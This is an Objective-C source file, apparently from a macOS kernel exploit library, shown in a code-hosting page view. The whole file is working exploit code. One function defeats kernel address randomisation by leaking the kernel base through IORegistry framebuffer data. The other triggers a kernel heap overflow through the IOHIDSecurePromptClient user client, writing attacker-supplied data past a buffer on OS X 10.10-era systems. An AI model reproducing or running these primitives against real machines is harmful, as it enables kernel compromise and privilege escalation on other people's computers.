-
Notifications
You must be signed in to change notification settings - Fork 24
/
Copy pathlsym_priv.m
75 lines (51 loc) · 2.24 KB
/
lsym_priv.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#import "lsym_priv.h"
#include <Foundation/Foundation.h>
/*
returns kernel base on the local system
*/
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
uint64_t lsym_find_base() {
NSData* fbdata = (NSData*) ((NSArray*)IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault)
, kIOServicePlane,CFSTR("IOFBCursorInfo")
, kCFAllocatorDefault
, kIORegistryIterateRecursively))[1];
uint64_t bytes = ((uint64_t*)[fbdata bytes])[3];
bytes -= [(NSNumber*)((NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[@"com.apple.kext.AMDFramebuffer"][@"OSBundleLoadAddress"] unsignedLongLongValue];
bytes -= 0x100000;
bytes &= 0x00000000FFF00000;
if(bytes & 0xF0000) {
printf("[-] kaslr slide not found!\n");
exit(-1);
}
return bytes & (~0xFFFF);
}
/*
data: data to write past heap boundaries
size: size of data
returns 0 on failure
*/
char lsym_heap_overflow(char* data, size_t size) {
kern_return_t err;
io_iterator_t iterator;
io_connect_t conn = MACH_PORT_NULL;
CFMutableDictionaryRef matching = IOServiceMatching("IOHIKeyboard");
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL) return 0;
err = IOServiceOpen(service, mach_task_self(), /* IOHIDSecurePromptClient */ 0x48535043, &conn);
if (err != KERN_SUCCESS) return 0;
size += 384;
char* payload = malloc(size);
memcpy(payload + 384, data, size - 384);
if (size >= lsym_heap_overflow_bufsize()) {
return 0;
}
err = IOConnectCallMethod(conn, 10, NULL, 0, payload, size, NULL, 0, NULL, 0); // heap overflow >= 10.10.1
if (err != KERN_SUCCESS)
err = IOConnectCallMethod(conn, 12, NULL, 0, payload, size, NULL, 0, NULL, 0); // heap overflow <= 10.10.1
if (err != KERN_SUCCESS) return 0;
return 1;
}
uint64_t lsym_heap_overflow_bufsize() {
return 512;
}